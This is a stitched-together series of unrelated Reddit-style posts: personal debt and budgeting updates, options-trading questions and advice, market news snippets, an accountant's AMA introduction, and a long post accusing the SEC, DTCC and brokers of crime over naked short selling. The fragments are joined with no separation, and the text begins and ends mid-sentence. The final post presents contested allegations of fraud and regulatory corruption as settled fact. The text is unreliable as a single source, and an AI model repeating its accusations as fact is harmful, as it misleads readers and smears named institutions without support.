means paying off $50,111.75 in credit card debt but keeping the auto loans and any zero interest installment loans. Without knowing what I'll have to pay in alimony and child support yet, I can plan to keep 40k in a savings account and start over with what's left. + +And to address a lot of the comments - I recognize that the reason for the debt was because I overspent and made expensive mistakes and kept myself in a circle of debt and anxiety/depression. I'm committed to doing things differently and setting the proper example for my daughter. I'm thankful to be able to read through the subreddit and gather up information and ask for your help and suggestions - thanks again! +\*Still (dammit) + +Hi again, PF. + +I ([posted my situation](https://www.reddit.com/r/personalfinance/comments/8qu7ns/uhhwellim_an_idiot/)) last week and received some solid advice and started doing what I can to keep my head above water. Thanks to everyone who commented. + +I wanted to give an update: + +I was brought into my bosses office last week and an HR person was there. I was told that my department was being dissolved and that I could take a severance (4 weeks pay) or take an open position in a different department. This new position is at a lower (basically entry) level and is a 20&#37; pay cut. + +I went home and did some calculations to see how long the severance + vacation payout would last and realized we could make it maybe 6 weeks before having $0. + +I decided to accept the new position because, well, I need income. + +After running the new numbers based on what I'm expecting my check to be, it looks like we will be about $750 in the hole each month. + +Wohoo! Right? + +Here's where I'm at today: + +\-I've started to application process for Income Driven Payments on my student loans, although I'm not sure they will care about anything but my previous year tax return. + +\-I plan on using my wife's CC to pay the renaming \~$100 on my phone so that monthly bill should drop $27/mo (and her cc payment won't go up that much of course). I know this is generally stupid and I will be paying interest on top of the $27 but it's immediate release of that $27/mo. I also dropped our phone plan to lower data allowance which will shave off another $10 from the bill. + +\-I am calling all of my CC providers to see if I qualify/signed up for some form of "financial distress" insurance to maybe defer payments for a bit. + +\-My landlord messaged me this morning and said he is putting the house on the market so we will need to be out by August. Maybe this is a blessing in disguise but so far I haven't found anything cheaper in the area. Started to seriously look in surrounding areas. + +\-I am calling the trash company to see what they offer for fewer pickups + +\-I will be spending the night getting insurance quotes (although I think $123/mo for two 30yo drivers with two new vehicles will probably not be bested) + +\-My new position will be more days remote, so I should be able to save on gas + +\-We are cutting our grocery budget to $130/wk + +\-I have been trying very hard to not turn on lights and utilize sun light as much as possible + +\-I have been following up more rigorously on job applications and connections + +Life is funny sometimes. I am learning my lesson. I never want to be in this situation again. Once things start looking better I am going to make sure I have 6 months save. No excuses. +I'm watching Squawk Box on CNBC right now and they just said that Sir Richard Branson is going to be on in a few minutes to make an announcement regarding using Bitcoins to buy a ticket to space!! Maybe we really are going to... I don't need to say where. + +Edit: Update @ 8:45AM EST - VIRGIN GALACTIC ACCEPTS BITCOIN!!! +**KEY POINTS** + +* **The ride-hailing giant is looking for a reported $100 billion valuation when it lists on the New York Stock Exchange this spring.** +* **One valuation expert says Uber is worth much less — closer to $60 billion, or just above $50 per share.** +* **“The market is a pricing game and not a value game,” says NYU’s Aswath Damodaran. “When you have young companies like these it’s all mood and momentum driving prices.”** +* More: [https://www.cnbc.com/2019/04/15/valuation-expert-says-uber-is-worth-a-little-more-than-half-the-100b-its-seeking.html](https://www.cnbc.com/2019/04/15/valuation-expert-says-uber-is-worth-a-little-more-than-half-the-100b-its-seeking.html) +It seems like the most monolithic disaster lurking in plain sight but almost nobody is changing their activities for it. The 2008 meltdown lost nowhere near the amount of money that this amount of debt must eventually pull out of the US economy. + +edit: Thanks for the responses. I've gained some clarity from some of you. +Hey are there any cheap and reliable stocks under $300-$200 that you can practice the wheel strategy on? I don’t even care if the premium you get is only a $1 I just want to practice the strategy on something. + +Edited: I just want to say thank you to everybody for your comments I am greatly appreciated for your help🙏 +I have been running this strategy for six months on a variety of tickers and have not seen the benefit of selling further OTM strikes (at least not what TastyTrade would have me do). Keep in mind, I don't care as much about profiting off the LEAPS, I am focused on farming premium and staying profitable overall. I sell usually two or three strikes above the share price, and while I do end up buying to close about half the time (because the stock price blows through my strike) as far as I can tell, have yet to lose money on the overall trade (ignoring depreciation of the LEAPS because of underlying tanking). True, I might lose a bit off the LEAPS price at closing but it is always made up for by the initial premium received. Is there something I am missing here? The only thing I can imagine is that the traditional PMCC set-up advice is to protect against early assignment and thus full loss of the extrinsic. Assuming you aren't worried about early assignment, it seems to be to be profitable to sell closer to the money. Perhaps someone can right my thinking on this if I am off base. +As anyone with a naked short put position in TSLA is probably aware, the sell off has been brutal, but there are things you can do prior to a position's totally getting away from you. + +1. On breach of the short put strike, sell a call against. A good rule of thumb is to sell a call in the same expiry as your short put that is about half the delta of your short put, so if your short put is 50 delta, you'd sell the 25, for example. Keep track of total credits collected up to that point. This would include the credit received for the short put, as well as that received for the call, along with any rolls you do thereafter. Do it as you go. Reconstructing credits received after the fact can be a pain, depending on how your broker sorts these for you. +2. At 21 DTE, roll this setup (now a short strangle) out as a unit. I generally leave the tested side alone, rolling it to the same strike as it was previously, but may adjust the call side to keep it at about half of what the tested strike delta is. Example: January 20th 120P/125C to February 120P/135C for a 4.65 credit. Again, keep track of total credits received to date, including that received for your roll for duration. On a side note, one of the primary reasons you want to roll earlier as opposed to later is assignment risk. I usually want to stay in the options as long as possible before taking assignment so that I can whittle away at my cost basis first while I'm in the options and can potentially collect extrinsic for both the put and call. This is particularly in the case of where price has simply pulled too far away from my short put strike to enable me to sell a covered call at or above my cost basis and get paid something decent for it in non-ridiculous durations. +3. If price continues to move away from the call side, roll the short call down for a realized gain on that side (small consolation) (again, keeping track of total credits received), using the short call strike that is about half the delta of the short put strike as a good rule of thumb as to where to roll to. (I.e., if the short put is at the 75 delta strike, roll the call to the 37.5 delta strike). If necessary, invert the short strangle by rolling the short call ***below*** your short put but not so much so that the width of the inversion exceeds the credits collected. (Example: If you've collected 10.00 to date, you won't want to invert to greater than a ten wide -- e.g., a 120P/110C). +4. Continue this cycle of rolling the untested side intraexpiry and rolling the entire setup out for duration, looking to scratch out or, at least, for less of a loser. +Hi. Beginner trader here. I am still paper trading and getting comfortable trading in general. I am just curious as to what analysis do you need to do to determine which strategy would be the best for a certain stock/ ETF or for a certain trend. +Do you use hedges to mitigate tail risk, such as we had in March this year? + +If so what do you use - e.g. purchased puts, purchased VIX calls? + +How do you size the hedge? Is it better to buy lower delta and more contracts since we are dealing with tail risk (essentially inversing [TT Hidden Size of Risk Study](https://www.tastytrade.com/tt/shows/tasty-extras/episodes/the-hidden-risk-of-size-10-12-2020))? +I had sold 200 contracts of GME 01/22 $1 puts. +Max loss is supposed to be 20k. Because of option prices being out of whack after hours, the brokerage shows each contract to be worth 20$ putting this trade at a loss of -$400k. All the margin balances look messed up (reg-T account) + +My account balance was around $380k before this and now I’m at -20k. I’ve been on hold with fidelity for the past hour. I’m freaking out that they force liquidate these options during pre-market tomorrow at ridiculous prices + + +What do I do? + +EDIT: images with more information + +https://ibb.co/89CHv6s + +https://ibb.co/0r86HMs + + +EDIT2: just got off the phone with fidelity. They chalked this down to a “reporting error” based on after hour prices. They said something about pricing between 12 and 1pm causing this issue. They fixed the reporting on my account so it’s showing a positive account balance and my gme position doesn’t show a huge loss. They also assured me that no positions will be closed. Thank you everyone for your replies, kept me sane. +Long time lurker and first time poster here. Looks like I will be be assigned 1000 shares of SOFI and F each today. If the stock closes below my puts' strike price, am I 100% nailed on to get assigned? Also, I'm ok with keeping both these stocks but wanted to know what r/thetagang think about SOFI and F? Sell the stock or start selling CCs? My net cost will be $15.70 for SOFI and $14.05 for Ford. +I used to think it doesn’t matter whether you roll on a green or a red day because - let’s say you’re rolling a put - on a green day, the extra money you make compared to the previous day from buying your put to close is cancelled by the money lost compared to the previous day on the new put you’re selling. Since puts generally gain value on red days and lose them on green days. + +But I realized that movements in the underlying have a greater impact on shorter dated options than longer dated ones. This means if you’re planning on rolling a put, it’s best to roll on a green day since the premium on the put you’re closing has had a larger % decrease compared to the previous day than the new put you’re opening. And the best days to roll calls is on red days. + +Is my thinking correct? +I am the best-selling author of [101 Ways to Save Money on Your Tax - Legally!](https://www.wiley.com/en-au/101 Ways to Save Money on Your Tax Legally%21 2020 2021-p-9780730384632) (now in its 10th edition) and am widely sought by the media for my views on tax, superannuation and financial issues. Under my [Mr Taxman](https://www.mrtaxman.com.au/) moniker I run a COVID-19 proof, award-winning accounting practice remotely in Melbourne after learning my craft originally at Deloitte and Pannell Kerr Forster some 30 years ago. + +Following the tragic passing of our daughter ~Sophie Cleo~ in 2008, I left practice to spend a decade in academia and was an Associate Professor at Deakin University as the course director for their financial planning programs and the inaugural director of Professional ＆ Executive Education (Domestic) at the Deakin Business School. I am the former chair of the Association of Independently Owned Financial Professionals (AIOFP) and of the Financial Planning Academics Forum (FPAF) and had a [number of research articles](https://scholar.google.com.au/citations?user=tZJOKsIAAAAJ) on audit, tax and superannuation published in some of the world’s top academic journals. + +Although I have more letters after my name than the alphabet (B.Bus, CPA, CTA, FCA, FIPA FFA, F Fin, GAICD, MBA, PhD), academia is not something that I am passionate about hence my return to tax & business consulting last year. In December 2021 I will become the new General Manager of [AFL Masters](http://aflmasters.com.au/), a part-time role that I would be in now if not for COVID19. This follows a lifetime in the sport including being lucky enough to play in 6 Tests for the Australian AFL Masters team against my family’s native Ireland and I still rub my eyes in getting to play in one EJ Whitten Legends match back in 2009. I am a GWS Giants fan and a passionate Rabbitoh. A quick Google search & you will find see that my alter ego is one of the [top SuperFans](https://www.youtube.com/watch?v=ikxkEj-meww&feature=youtu.be) in world cricket. + +For the past 12 years I have devoted my life to raising much needed funds for my charity [Bears of Hope Pregnancy & Infant Loss Support Inc](https://www.bearsofhope.org.au/people/adrian-raftery/) to help the 2000+ families each year when they need help the most. My fundraising over the years has seen some fun challenges such as running the Sydney marathon in a leprechaun outfit to growing a big bushy [Beard of Hope](http://www.beardsofhope.com.au/) to [trekking Kokoda](https://www.bearsofhope.org.au/events/kokoda-trek-2020/). I would love for you to join me in our virtual [Choosing Hope Walk](https://choosinghope.com.au/) during this month. + +In short, I am an accountant with a personality! + +Thanks for joining into this AMA. Remember there is no such thing as a stupid question so ask away if something is burning inside you that you want answered. + +Feel free to make contact with me via [LinkedIn](https://www.linkedin.com/in/MrTaxman/), [Twitter](https://twitter.com/MisterTaxman) and [Facebook](https://www.facebook.com/MisterTaxman/). +As evidenced by the outcries from years ago being uncovered by apes, the SEC has a long history of enabling financial fraud by Wall Street while trying to appear as the guardian of retail interest. This is bullshit. It’s crime, plain and simple. + +The DOJ has a fraud reporting facility- it’s long past time we use it. I think we should even report the SEC to them. We need to be heard. + +https://www.justice.gov/fraudtaskforce/report-fraud/chart +&#x200B; + + + +&#x200B; + +https://preview.redd.it/5urwquo4wun91.jpg?width=817&format=pjpg&auto=webp&s=afe773b3b048b9d0436cefeb813a104a1ddc3901 + +As soon as we see the SEC n court testifying and defending the DTCC and the accuracy of their clearing and trade system -THEY KNOW + +As soon as we see year after year implementing new laws to help continue the criminal behavior-THEY KNOW..of course they know ..they all know + +They knew in the past and they know now, and their sole interest isn't in the victimized companies or the companies shareholders. Their interest is in keeping each other rich and doing whatever it takes to keep the truth hidden. Institutional corruption like the crimes that these brokers, hedge funds, regulatory agencies commit against the shareholders and companies continues to wreak havoc on the entire US economy causing trillions of dollars of losses that hardworking taxpayers foot the bill for. These crimes can not and do not happen in a vacuum, if thousands of people from all different backgrounds have documented the same injustices happening year after years it is not the victimized companies and shareholders who are at fault it is the people who are at the subject of the thousands upon thousands of complaints that keep circling back to the same issues..fraud, manipulation, counterfeiting and stealing. This mass amount of coordinated financial terrorism occurrs with a lot of support from a lot of people from every sector in the financial and government industry allowing it to happen and choosing to ignore it. + +The focus is not on one or two individuals, no it needs to start at the TOP and work its way down to the bottom this is a systematic problem . All the documented complaints, comments, analysis, court records, congressional hearings, true media reporting, shows that they have used their positions to manipulate the entire system and the ones at the top know and clearly help perpetuate the criminal behavior and use immunity and claims of ignorance to justify the continued crimes. The concern about the illegitimate use of short sales is as old as the SEC itself. The Commission writes that "Congress, in 1934, directed the Commission to 'purge the market' of short selling abuses, and in response, the Commission adopted restrictions that had remained essentially unchanged for over 60 years."[1](https://www.sec.gov/rules/proposed/s72303/rshapiro122403.htm#foot1) It has been evident for some time that the regulations adopted in 1938, principally Rule 10a-1 restricting short selling in a stock while its price is falling, have not stemmed illegitimate short-selling. This failure suggests systemic problems with the short sale system that have eroded the basic integrity of the equity markets, including: + +1) broker-dealers and investment firms apparently participating in the creation of significant numbers of sham short sales to artificially drive down the price of targeted firms, + +2) apparently lax and faulty arrangements at the industry-owned Depository Trust and Clearing Corporation (DTCC) and its National Securities Clearing Corporation (NSCC) subsidiary that have allowed millions of uncovered shorts to persist in the system; and + +3) the apparent incapacity or unwillingness of the SEC to enforce existing short sale regulation by investment companies, the DTCC and the NSCC. + +When the number of uncovered short sales in a stock exceeds its public float-or even the total number of shares issued or outstanding--the only plausible explanation is a concerted and illegal effort by short sellers to flood the marketplace with counterfeit or fictitious shares, in order to artificially drive down the stock's price and increase the value of the shorts. Massive naked short sales turn the equity market into a form of monopoly pricing for the firms that fall victim to such sales, in which the short seller sets the price at a level guaranteed to provide a quasi-monopoly return. These actions, in effect, destroy the integrity of the market system for firms targeted by naked short sellers and create a direct transfer of wealth from existing shareholders to the illegal short sellers. The firms targeted for such manipulation are generally smaller, younger public firms - the type of company which has generated many of the technological and organizational innovations that have contributed so much to the increases in business investment and productivity of recent years. As relatively small and young companies with much fewer shares in their public floats than their older and larger counterparts, their individual decline or destruction also generally attracts little public attention. + +These illegal short sellers cannot achieve pricing power over a firm by themselves, since it involves creating hundreds of thousands or even millions of phantom or non-existent shares in direct breach of numerous regulations and laws. This undertaking requires the collaboration of broker-dealers who will carry out short sales without transferring actual shares, and the tacit countenance of the market organizations and regulatory bodies charged with clearing and settling those short sales. The fact that naked short sales occur on this scale, therefore, points to serious problems involving compliance with short sale regulation at the investment firms conducting these transactions for their customers. It also points to troubling problems involving the enforcement of these rules at the NSCC, where these transactions are supposed to be cleared and settled in accordance with the rules, at the NSCC's corporate parent, the DTCC, and at the SEC offices entrusted with overseeing the DTCC, the NSCC and investment firms. + +The large-scale naked short-sales that have been consistently acknowledged by the SEC and confirmed by research, require broker dealers willing to look the other way as their customers carry out their short sale strategy, with some of these broker dealers perhaps relying on a customer's convertible warrant to guarantee that the shorts will be closed eventually. The success of these large-scale naked short sale strategies also depends on a persistent failure by the supervisors and employers of these broker dealers to question or investigate massive short sales transacted through their firms and followed, time after time, by the effective destruction of the targeted companies. The strategy's success further depends on NSCC staff willing to overlook thousands of instances in which large numbers of shares are not delivered for an extended period or on their supervisors' ignoring such reports.Finally, these manipulations can occur only in a lax enforcement environment. The record shows that the SEC has not disciplined a single broker-dealer, a single investment firm, a single staff or official of the NSCC or DTCC in connection with the massive illegal activities which the Commission acknowledges have occurred. + +The rules governing short sales must be tightened and, just as important, the old and new rules must be strictly enforced. I do not believe, however, that none of the recent SEC' proposals along with reg SHO with its loophole have an appreciable effect deterring these abuses. + +Dr. Patrick Byrne of Overstock.com, gave a first hand account of naked short selling, the counterfeiting of commercial securities. A CEO purchases two million dollars of stock in his own company, and he could not take delivery of this stock in certificate form. + +"The (Securities and Exchange Commission) works for Wall Street," Byrne said in an interview last week. "It doesn't work for Main Street. On a good day, the SEC is up to taking on Martha Stewart over a $60,000 issue. They are not up to taking on Jim Cramer and half a dozen powerful hedge funds."Byrne sparked controversy in August 2005 by accusing a number of investment bankers, financial journalists and hedge fund managers of collaborating to ruin the reputations of companies to profit when their stock prices tumbled. Byrne claimed that his online store was victimized by such a scheme. In a now infamous 2005 conference call, he said the conspiracy was overseen by a mastermind he compared to a "Sith Lord" out of the *Star Wars* movies.Byrne's detractors accused him of trying to [divert attention away](https://www.cnet.com/news/overstock-jihad-divides-father-and-son/) from his company's poor financial performance. In 2005, Salt Lake City-based Overstock [reported a $25 million loss](https://www.cnet.com/news/overstock-denies-shipping-problems/). The company's share price, which hit $77 in 2004, closed trading on Tuesday at $17.29. Salt Lake City, Utah-based [Overstock](http://www.overstock.com/) in 2005 filed suit against Rocker Partners, a short-selling hedge fund, and Gradient Analytics, a research firm. He accused them of conspiring to manipulate Overstock's share price. The SEC opened an investigation into the companies but dropped the probe last month without taking any action. But Byrne hasn't given up. Overstock last month filed a $3.4 billion suit against 12 brokerage firms. + +We witnessed the State of Utah take a leadership role when they passed Senate Bill 3004, imposing penalties on and exposing naked short sellers. We sent messages to every Utah Senator, and the Governor, telling them how proud we were of them for listening to us and for standing up for what is right and just. We saw the Utah law challenged, and its implementation delayed by the same industry lobby groups that we believe have captured the SEC and our elected officials, + +# Not long after Utah wanted to stop the madness: Wall Street Sues Utah Over Naked Short-Selling Law + +# (July 31, 2006, 12:00 AM EDT) -- A month after Utah legislators paved the way for hefty fines against so-called naked short-sellers with a new law, Wall Street's prime trade association is suing the state government, saying the law illegally usurps the jurisdiction of federal regulators. The lawsuit, filed on Friday in the U. S. District Court for the Central District of Utah, seeks to overturn Utah Senate Bill 3004, which was signed into law earlier this year amid strong opposition from the Washington, D. C. -based Securities Industry Association. That bill modified the Utah Uniform Securities Act to allow Utah-based companies to fine brokerages $10,000 a day if they fail. . . + +&#x200B; + +[The SEC has an outstanding filing system..everything goes just where they want it. ABSOLUTELY NO WHERE](https://preview.redd.it/jnrbcaiowun91.jpg?width=1080&format=pjpg&auto=webp&s=d7d95a6a565db12aced70b4e6aeff86d9587a4a2) + +&#x200B; + +**Interfering with target company’s customers, financings, etc.** + +**Monopoly** + +Olde Monmouth Stock v Depository Trust Clearing + +[https://www.casemine.com/judgement/us/59146e69add7b04934335aed](https://www.casemine.com/judgement/us/59146e69add7b04934335aed) + +Old Monmouth Stock Transfer alleges that the defendants Depository Trust Clearing Corporation(DTCC) and Depository Trust Company (DTC) violated federal and state antitrust laws by unreasonably excluding Olde Monmouth from DTC’s Fast Automated Securities Transfer (FAST) program. Plaintiff also alleges that DTC tortiously interfered with Olde Manmouths economic relationships with existing and potential future customers by contacting some of plaintiffs clients and undermining Olde Manmouths business relationships. Furthermore, plaintiffs suggest that DTC may have publicized Olde Monmouth’s exclusion from the FAST Program to the stock issuing community + +Securities and Exchange Commission Release No. 34-57959 File No. SR-DTC-2006-16, Notice of Filing of Proposed Rule Change Amending FAST and DRS Limited Participant Requirements For Transfer Agents + +**Dear Ms. Morris: I am writing to you on behalf of Continental Stock Transfer & Trust Company ("CST")** to strongly object to the above-referenced proposed Rule (the "Proposal") filed by The Depository Trust Company ("DTC"). CST is a medium-sized stock transfer agent which has been in business since 1964. We currently represent more than 1,000 public issuers, aggregating more than 1.5 million shareholder accounts. We write to you to augment the comment letter filed by the Securities Transfer Association ("STA") of which we are a member. It is our position that DTC, the only depository in the United States, seeks through this filing to extend its 30 year pattern of anti-competitive behavior by mandating eligibility rules which will have the effect of evicting from the transfer agent industry scores of small transfer agents which provide valuable, cost effective services to thousands of smaller issuers around the country. In so doing, DTC, which is a Self Regulatory Organization ("SRO"), is both usurping the congressionally-granted exclusive authority of the SEC, and attempting to make SRO eligibility rules and compliance rules, not for its own members, but for transfer agent non-members, which are direct competitors of DTC. DTC seeks, through this Rule filing, unfettered authority and discretion to mandate what services transfer agents must provide to DTC and its members, while at the same time refusing to pay for such mandated services. In summary, DTC is a monopoly engaged in predatory, anti-competitive conduct with respect to its direct competitors. The effects of this anti-competitive behavior are far-reaching as to price and mandated services; and it may result in scores of small transfer agent competitors being forcibly evicted from the marketplace. Finally, in filing these proposed Rules, DTC is usurping the SEC's exclusive jurisdiction to regulate transfer agents. + +[https://www.sec.gov/comments/sr-dtc-2006-16/dtc200616-12.pdf](https://www.sec.gov/comments/sr-dtc-2006-16/dtc200616-12.pdf) + +**Plaintiff Douglas R. Caron is a client of Defendant TD Ameritrade** Inc. *Id*. at + +Sometime between June 15, 2005 and July 12, 2005, Plaintiff purchased 463,372 shares in Bancorp International Group Inc. ("Bancorp") for $4,082.63 through the TD Ameritrade platform acting as a self-directed investor. *Id*. Though Plaintiff is the beneficial owner of the BCIT shares, the shares are held in trust in certificate form by Defendants, The Depository Trust & Clearing Corporation, The Depository Trust Company and Cede & Co (collectively, "DTCC"), which are organizations that hold securities in order to facilitate the clearance and settlement of securities transactions. + +On August 11, 2005, shortly after Plaintiff bought his shares in Bancorp, Defendants DTCC imposed a "lock" on certain share certificates in the company, including those owned by Plaintiff. A "lock" means that share certificates cannot go in or out of DTCC. Defendants DTCC imposed the lock on Bancorp certificates because they learned that Bancorp had been subjected to a "corporate hijacking" by fraudsters who were printing unregistered, unauthorized share certificates for the company. In September 2011, Plaintiff requested that Defendants deliver him his Bancorp share certificates, but he was told by Defendants that the certificates could not be delivered due to the DTCC lock. . Plaintiff maintains that the lock in fact does not prevent all transactions, because owners can still execute trades outside of DTCC using physical share certificates. at Therefore, he demanded that Defendants deliver him the physical share certificates despite the lock. He also maintains that Defendants have failed to replace the unregistered, counterfeit Bancorp certificates with real ones, and that Defendants have attempted to fraudulently conceal that fact by falsely claiming that they hold legitimate Bancorp share certificates on deposit. *I*Defendants have **denied this allegation and maintain that they cannot not deliver the shares because of the DTCC lock.** + +**Companies and shareholders begging for help from being shorted to oblivion** + +April 9, 2008 + +Dear Mr. Chairman and Commissioners: + +In my comments submitted to you on this subject dated April 5, 2008, I referred to an attached consolidated balance sheet of **member firms of SIFMA** as of June 30, 2007, showing total failures-to-deliver and failures-to-receive of about $192 billion. In making my submission, I was notified by your website submission system that the attachment was rejected due to (as I understand the message) a format issue. Therefore, I have put the same consolidated balance sheet into a pdf format and am now attempting to file it with you again. + +In doing so, I take this opportunity to re-emphasize the astonishing significance of failed deliveries of shares in the magnitude of $192 billion. That sum is almost assuredly already marked down to market value after the share prices of the targeted companies have been driven down by the dilution and reckless sale of the counterfeit shares never delivered to the buyers. Secondly, that staggering amount of dilution is focused upon a limited number of targeted companies, so the financial pressure and harm to them and their shareholders is very substantial - nothing that can remotely be considered merely incidental to normal trading volatility. Trading practices involving such rampant failure to perform add nothing beneficial in the way of liquidity, but instead amount to sheer manipulation of share prices and criminal financial fraud. + +In considering the implications of this $192 billion in risk exposure, please consider not just the implications for the financial firms disclosing those exposures but also the multitudes of retail investors whose money has been taken in the process. + +[(Attached File #1: s70808-279.pdf)](https://www.sec.gov/comments/s7-08-08/s70808-279.pdf) + +RE: File # SR-DTC-2003-03 Dear Sirs: I am the President and CEO of The Auxer Group, Inc. (OTCBB:AXGI, Commission file # 0-30440. + +I have held these positions since approximately January 15, 2003 having previously held similar posts with a private company that entered into a stock exchange agreement with “**Auxer”. The common stock of “Auxer”** is a very highly traded issue and boasts a shareholder base of approximately 4,000 investors. I announced on March 19, 2003 that “**Auxer” is considering a request to remove itself from the Depository Trust** Corporation (hereinafter “DTC”). The announcement was released via Business Wire at approximately 11:23 a.m. EST. The trading activity on AXGI was approximately 62,000,000 for the March 19, 2003. Our decision to consider removal from the DTC was because of suspected naked short selling. The reaction to our announcement seems to confirm our suspicions. My observation is that this expected naked short selling has reached unmanageable proportions and was adversely affecting the trading price of Auxer stock and accordingly, its shareholders. Auxer objects to any rule change that would prevent public companies from exiting DTC’s electronic clearing and book entry system. It is imperative that any rule change would not limit or interfere with Auxer’s rights. Auxer is a highly traded stock with a large investor base. As such, it appears that it is an attractive target for naked shorting to occur. The difficulty to the Company and its shareholder base is that the stock prices appear to be artificially manipulated by the excessive naked shorting. In my opinion, the ability of naked shorting to occur is an indication of a system weakness. The systematic system of settlement does not appear to discourage the naked shorting. Accordingly, the opportunity for abuse is very high. It would be unfair to the Company and its shareholders to agree to make a rule change that does nothing to correct suspected systematic abuses. Accordingly, Auxer objects to any rule change that would prevent us from taking any action to protect the Company and its shareholders from impairment of its underlying value or investment. Accordingly, I urge you not to approve the DTC’s application for rule change that was filed on February 13, 2003. Thank for your consideration. If you would like to discuss this comment letter further, do not hesitate to call. + +I am a shareholder of **New Market technology (nmkt).** In the past 5 years the company has grown from a $1m dollar company to a $93m company. + +Every time the company comes out with good news, for the first few hours it either goes up or holds it's own, and then it is brought down in the afternoon. This has been going on very heavily for the past 12 months. + +For example, today (06/16/08) the company announced a new + +$4m contract. The same scenario, holding it's own in the morning and getting creamed in the afternoon. Many of us shareholders believe there is some group that is naked shorting this stock. + +CAN YOU HELP US PLEASE + +on January 21, a complaint was filed with the SEC calling on the Commission to conduct to formal investigation into the short-selling of **J.C. Penney Co.** stock that occurred shortly before and after a major class action lawsuit was filed against Eckerd Drug Stores, which was owned by J.C. Penney. As more fully described in that complaint, s**erious questions were raised about the selective disclosure of the timing of the lawsuit to short-sellers of J.C. Penney Co. stock as reported in a Wall Street Journal article of January 7, 2003, Suit Batters Penney Shares, But Serves Short-Sellers Well. Unfortunately, it does not appear that the SEC took any action in that case**. + +On December 19, 2003, a complaint was filed with the SEC, as well as with the U.S. Department of Justice, the U.S. Attorney's Office in San Francisco, California and with thenAttorney General Eliot Spitzer, requesting an investigation into whether any federal civil or criminal laws were violated with respect to short selling of the stock of **Terayon Communication Systems, Inc. (Terayon),** **and related conduct in a class action securities fraud lawsuit against the company filed by Milberg Weiss Bershad Hynes & Lerach. In re Terayon Communication Systems, Inc. Securities Litigation.** While it appears that the SEC did some initial investigation into this matter, no enforcement action was taken. + +On July 13, 2004, a complaint was filed with the SEC requesting that it conduct a full and thorough investigation of the facts and circumstances regarding the lawfulness of certain communications by a plaintiff's attorney designed to depress the stock price of **Bayer AG**, a German company that is traded on the New York Stock Exchange. The goal of the attorney was to pressure the company to settle the product liability lawsuits against Bayer over its cholesterol drug Baycol. Mikal Watts, a noted plaintiff's attorney, boasted to the Wall Street Journal in a May 3, 2004 article that in order to pressure Bayer to settle his questionable product liability lawsuit seeking $550 million, **he was disseminating negative information about Bayer to the media to engender damaging stories, which in turn would drive down the price of Bayer stock: "I was feeding a lot of \[negative\] information to European and U.S. papers . . . . It was part of my strategy to affect the stock price, which I was very successful at."** As with the J.C. Penney filed complaint filed in 2003, no action was apparently taken by the SEC on this complaint. + +Re: Release No. 34-57511; File No. 57-08-08 ResulationSHO Proposed Amendments re: "Naked" Short Selling + +https://www.sec.gov/comments/s7-08-08/s70808-510.pdf + +I write to urge the SEC to (i) adopt the proposed anti-fraud rule 10b-21,(ii) eliminate the options market maker exemption to Regulation SHO and (iii) aggressively enforce and/or reform RegulationSHO to protect against the abuses being caused by illegal "naked" short selling. **Our company, VeraSun Energy Corporation ("VeraSun"), has been targeted by short sellers consistently since July 2007,** which, we believe, has at times artificially depressed the price of our stock. As such, stopping the practice of illegal naked short selling is an important issue for our company. While we support the adoption of the proposed anti-fraud rule, we question how its adoption, absent other significant actions, would halt the continued . practice., of naked short selling. Today, naked short selling is a clear violation of the anti-fraud provisions of Rule l0b-5. As a consequence,we believe that restatingin the proposed rule that this type of fraud is a violation will not significantly change the current situation. That said, the SEC's adoption of the proposed rule will further increase the attention being focused on this problem and,therefore, is another positive step in addressing this problem. we support the SEC's adoption of the proposed rule. In addition, we believe the SEC needs to take additional steps to bring about meaningful change. Additional Regulatory + +May 8, 2008 + +Hi, Im just a retail investor and had no idea about naked short selling and did not understand the concept at first. I had no idea I would get the misfortune to be in a security that is still being manipulated my hedge funds using naked shorting as one of their weapons. This company, **OVTI**, though one of the top 100 fastest growing companies, several years running with $350 million in cash, zero debt, a PE of less than 10, industry leader and trading at a small fraction of fair value has been on the REG SHO list several times. The stock has been at the mercy of Hedge funds and their illegal tactics for several years now. This is no Overstock company. They are earning millions quarter after quarter and are slated to have cash of over 400 million (zero debt) in 1 more qtr. Im just so tired of waking up every day dreading yet another PAID for FUD report by another hedge fund who miraculously established a short position just a few days prior. **Has the MOB moved into investing? Is it fair for a retail investor to be involved in the stock market??** + +PLEASE HELP + +## President, Olde Capital Group, LLC + +April 4, 2008 + +Naked short selling creates shares of a company out of thin air. They are nothing more than "counterfeit" shares, sold as if they had value. If one were to create money out of thin air, and use it as if it had value, the penalties for such counterfeiting are steep. The same should exist for counterfeit shares. + +I have personally owned shares of a company that recently came under a naked short attack (**VCG Holdings, VCGH).** **that company is STILL on the Reg SHO list, and the share price has been driven from $15 to $5, all while earnings have increased dramatically. No matter how many buyers show up**, there is an unlimited amount of shares ready to be sold into the bids.Short sellers (and naked short sellers) are completely anonymous, yet they have massive influence over a company's share price. 5% and above "owners" are required to disclose their identity with SEC filings. That rule was put in place so other parties know who has majority interests, and can be asked about intentions. Short sellers on the other hand have NO such requirement. Short sellers have just as much influence over a company's share price, as do the owners, yet they remain anonymous. Short sellers should be subject to the same 5% reporting rule. + +A 5% reporting rule for short sellers would solve two problems. First, the world will know the identity of the shorting party, and can ask about their intentions. Second, naked shorting allows one to short more shares than exist. How could a naked shorter effectively report they have shorted 300% of the float without admitting illegality? + +The problem of “phantom shares” or “naked shorts” became so serious in late 2003 that some companies, mostly entrepreneurial companies who accessed what they believed to be fairly operating capital markets, approached the DTCC’s subsidiary Depository Trust Company (DTC) in hopes of either finding a resolution to the problem or moving their stock out of harms way, out of the system. DTC turned to the SEC and got approval for a rule to prohibit the companies from taking action to protect themselves. If you asked the DTC about this particular instance, they will only tell you that they cannot honor requests from issuers to exit the system because it “has not been permitted by the SEC”. without mentioning the fact that the DTC initiated the SEC rule that stops companies from protecting themselves, their assets, and their investors. + +R. Ricci + +The Mass Exodus to Leave the DTCC and what the DTCC and SEC did to stop it + +Failures to Deliver, intentional or unintentional, should have very STEEP fines - based not on the occurrence, but on the number shares that FTD'ed. There is no excuse for not delivering that which was contracted in the deal.The case of the greatest "counterfeit shares." fraud in the UNITED STATES is in my opinion CMKX. CMKX DIAMONDS, THE LARGEST NAKED SHORTED STOCK IN THE HISTORY OF THE UNITED STATES/WORLD" Trillions of stock shares traded and changed hands UNTIL CMKX revoked itself and had every stockholder pull stock certificates out of brokerages out of street name and into Investors name to safely hold in their possession. CMKX is also the **LARGEST STOCK CERTIFICATE PULL IN THE HISTORY OF THE UNITED STATES"I Hope the the SEC did not create a regulational rule during this period the above action was committed to absolve them from liability of cmkx \`\`counterfeit shares."** + +2002 + +As you know several companies did recently make a successful exit from the DTCC before the back door was locked and 